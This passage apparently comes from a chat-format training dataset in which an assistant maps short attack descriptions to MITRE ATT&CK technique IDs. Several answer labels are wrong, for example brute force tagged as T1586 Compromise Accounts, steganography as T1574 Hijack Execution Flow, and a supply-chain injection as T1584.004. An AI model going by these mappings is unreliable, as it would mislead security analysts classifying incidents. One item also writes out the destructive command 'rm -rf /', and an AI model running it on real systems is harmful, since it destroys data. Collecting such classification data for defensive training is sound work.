                "content": "An exploitation of an outdated SSH server allows the attacker to gain root access via a command injection."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat leverages compromised removable media to transfer a command-and-control implant between isolated networks."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors abused the built‑in Windows Remote Desktop (RDP) fallback to VNC for stealthy remote service exploitation."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services: VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performs VDSO hijacking by remapping the VDSO page and inserting a custom routine that spawns a reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1055.014 - Process Injection: VDSO Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A targeted phishing email contains a shortened link that redirects to a phishing site mimicking a cloud service login page."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary used \"docker load\" to import a compromised image that contains backdoor credentials into the container registry."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits the default DLL resolution order by creating a malicious DLL with an identical name to a legitimate one and storing it in a higher‑priority search directory."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exfiltrate email data by accessing the victim's mailbox through the Microsoft Graph API."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat executes `rm -rf /` on a Linux host followed by a raw device wipe."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor adds a rogue script directory to the user's PATH, enabling execution of their script when common commands are invoked."
            },
            {
                "role": "assistant",
                "content": "T1574.007 - Hijack Execution Flow: Path Interception by PATH Environment Variable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker employed \"kubectl cp\" to copy a malicious binary into a running pod for later execution."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious payload includes commands that generate a new account named 'svc_maint' for persistence."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Visiting a compromised video streaming site triggers an exploit of a known CVE in the video player that installs a cryptominer."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code scraped data from a Confluence wiki, extracting API keys and configuration files."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploited a misconfigured Confluence instance to export the entire knowledge base via XML backup."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors stage a ransomware installer on the victim machine by uploading it via a compromised web application."
            },
            {
                "role": "assistant",
                "content": "T1608.002 - Stage Capabilities: Upload Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script encrypts all user‑generated content on the compromised host and leaves a ransom note with payment instructions on the login screen."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exfiltrates stolen files by posting them to a malicious Slack webhook URL."
            },
            {
                "role": "assistant",
                "content": "T1567.004 - Exfiltration Over Web Service: Exfiltration Over Webhook"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor uses the CreateProcess API to spawn a benign-looking process and then injects a malicious PE using the NtWriteVirtualMemory call."
            },
            {
                "role": "assistant",
                "content": "T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An actor harvests saved web credentials by extracting the encrypted cookies and password entries from Safari's Keychain on macOS."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised router, the threat actor forwards traffic between the internal LAN and the internet to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1599 - Network Boundary Bridging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages the Odbcconf.exe utility to install a malicious ODBC driver, allowing execution of arbitrary code under system privileges."
            },
            {
                "role": "assistant",
                "content": "T1218.008 - System Binary Proxy Execution: Odbcconf"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary enumerates the victim’s public cloud compute instances by querying the provider’s metadata endpoints."
            },
            {
                "role": "assistant",
                "content": "T1584 - Compromise Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using NAT traversal techniques, the malware establishes a reverse shell by sending a TCP hole‑punching request through the victim's NAT device."
            },
            {
                "role": "assistant",
                "content": "T1599.001 - Network Boundary Bridging: Network Address Translation Traversal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder updates the security descriptor of a scheduled task file using cacls.exe to allow execution under any user context."
            },
            {
                "role": "assistant",
                "content": "T1222 - File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers harvest data from public code repositories and forums to discover zero‑day exploits."
            },
            {
                "role": "assistant",
                "content": "T1596 - Search Open Technical Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers generate counterfeit Windows Defender alerts to persuade users to click malicious links that install additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1562.011 - Impair Defenses: Spoof Security Alerting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware program uses privileged access to set the system to boot with the safemode option enabled, disabling antivirus services."
            },
            {
                "role": "assistant",
                "content": "T1562.009 - Impair Defenses: Safe Mode Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers renamed their malicious binary to 'explorer.exe' and placed it in the startup folder to blend in with legitimate processes."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware obtains system credentials by dumping the contents of /etc/shadow via a privileged process."
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates a fake COM object and registers it in HKCU\\Software\\Classes\\CLSID, leading to execution of the payload whenever a trusted program accesses that CLSID."
            },
            {
                "role": "assistant",
                "content": "T1546.015 - Event Triggered Execution: Component Object Model Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Data is transformed using Base64 encoding to hide its true contents during transmission."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the cloud provider's metadata service, the attacker retrieves details about the instance type, region, and network interfaces."
            },
            {
                "role": "assistant",
                "content": "T1526 - Cloud Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses a stealthy hidden window to render a fake login screen, capturing credentials while staying unseen."
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modifies the system's DNS resolver configuration to block queries to known malicious indicator feeds."
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor exploits misconfigured permissions to list objects in a cloud storage container."
            },
            {
                "role": "assistant",
                "content": "T1619 - Cloud Storage Object Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors create virtual machines in lesser-used cloud regions to stay under the radar of security monitoring tools."
            },
            {
                "role": "assistant",
                "content": "T1535 - Unused/Unsupported Cloud Regions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages Verclsid.exe as a proxy to run a PowerShell script hidden within a seemingly benign PDF."
            },
            {
                "role": "assistant",
                "content": "T1218.012 - System Binary Proxy Execution: Verclsid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code exploited a vulnerable SMB service to read files from a public share."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors copy the InstallUtil binary to a remote system and invoke it with a malicious payload to gain execution."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - System Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages a third‑party web‑based API, embedding encrypted payloads in JSON bodies to maintain C2 without direct connections."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware modifies the SSH authorized_keys file to include its public key for persistent login."
            },
            {
                "role": "assistant",
                "content": "T1098.004 - Account Manipulation: SSH Authorized Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary modifies the permissions of a Windows Installer (.msi) file to allow write access for standard users, then replaces the installer with a malicious version that runs arbitrary code during installation."
            },
            {
                "role": "assistant",
                "content": "T1574.005 - Hijack Execution Flow: Executable Installer File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool was run on macOS that called the Apple System Log (ASL) API to purge entries older than 24 hours, eliminating forensic artifacts."
            },
            {
                "role": "assistant",
                "content": "T1070.002 - Indicator Removal: Clear Linux or Mac System Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker performs a brute-force attack against a web application's login endpoint using a dictionary of common passwords."
            },
            {
                "role": "assistant",
                "content": "T1586 - Compromise Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware executed on the host encrypts critical data stores and threatens to delete the keys unless a ransom is delivered."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using API hooking, the malware intercepts calls to the Chrome Password Store API (GetPassword) to steal saved web passwords from the browser."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor runs the \"sh\" interpreter to execute a malicious shell script that gathers system information."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code injects a custom key into the NSGlobalDomain plist to change system-wide UI settings for phishing."
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a privilege escalation exploit, the attacker steals code-signing certificates stored on a build server to sign malware."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries purchased access to a compromised botnet infrastructure, using the zombie hosts to deliver ransomware payloads."
            },
            {
                "role": "assistant",
                "content": "T1583.005 - Acquire Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker compromises a GCP service account and downloads secrets from Secret Manager to obtain API tokens."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor uses ROMMON access to overwrite the device’s bootloader, ensuring that a backdoor code runs every time the device starts."
            },
            {
                "role": "assistant",
                "content": "T1542.004 - Pre-OS Boot: ROMMONkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script reads the OS keychain, steals the TLS client certificate, and uses it to establish trusted connections as the victim."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious group leases a compromised server from an unwitting hosting company to relay traffic."
            },
            {
                "role": "assistant",
                "content": "T1583.004 - Acquire Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operator issues a command to stop the Windows Event Log service."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a custom script to encode exfiltrated data as base64 and transmit it in tiny packets to bypass network data transfer restrictions."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performs a supply chain attack by injecting malicious code into a software package that is later deployed on the target's production servers."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary modifies the user's shell rc files (e.g., .kshrc) to execute a payload that establishes persistence on every terminal launch."
            },
            {
                "role": "assistant",
                "content": "T1546.004 - Event Triggered Execution: Unix Shell Configuration Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware sets the PATH variable to a location containing a fake version of `cmd.exe`, causing the system to execute the malicious command interpreter."
            },
            {
                "role": "assistant",
                "content": "T1574.007 - Hijack Execution Flow: Path Interception by PATH Environment Variable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor injects code into a legitimate browser process and utilizes inter‑process messaging to relay keystrokes back to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1559 - Inter-Process Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spyware component corrupts the file system metadata, causing all stored data to become unreadable."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intruder signs in with the default credentials for a network device's management interface."
            },
            {
                "role": "assistant",
                "content": "T1078.001 - Valid Accounts: Default Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign resulted in credentials that were used to modify the firewall's rule hierarchy, effectively bypassing the cloud security perimeter."
            },
            {
                "role": "assistant",
                "content": "T1562.007 - Impair Defenses: Disable or Modify Cloud Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By inserting a rogue executable into a path that contains spaces and is not enclosed in quotes in a service's binary path, the attacker causes the service to run their payload first."
            },
            {
                "role": "assistant",
                "content": "T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware reads the domain name of the machine and only executes its command‑and‑control communication module if the domain matches 'corp.example.com'."
            },
            {
                "role": "assistant",
                "content": "T1480.001 - Execution Guardrails: Environmental Keying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries embed command data within image files using steganography, uploading them to a public image hosting site for the victim to retrieve and decode."
            },
            {
                "role": "assistant",
                "content": "T1574 - Hijack Execution Flow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code uses the Apple Push Notification Service (APNS) to receive short command payloads."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware registers a webhook with a cloud service, allowing the controller to push commands to the infected host and receive results instantly."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Web Service: Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages process hollowing combined with dynamic‑link library injection to run malicious code under a trusted binary."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor changes the password policy in the domain to allow weaker passwords."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code terminates and deletes all crontab entries on a Linux host that were used for scheduled execution."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Indicator Removal: Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attempting a DNS zone transfer to enumerate subdomains and internal hostnames."
            },
            {
                "role": "assistant",
                "content": "T1595 - Active Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses PowerShell command \"Get-ItemProperty HKLM:\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\* | Select-Object DisplayName, DisplayVersion\" to discover software."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group performed privilege escalation by modifying a serverless function's policy to grant admin rights."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To hide its presence, the adversary removes all shared folder connections established on the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1070.005 - Indicator Removal: Network Share Connection Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
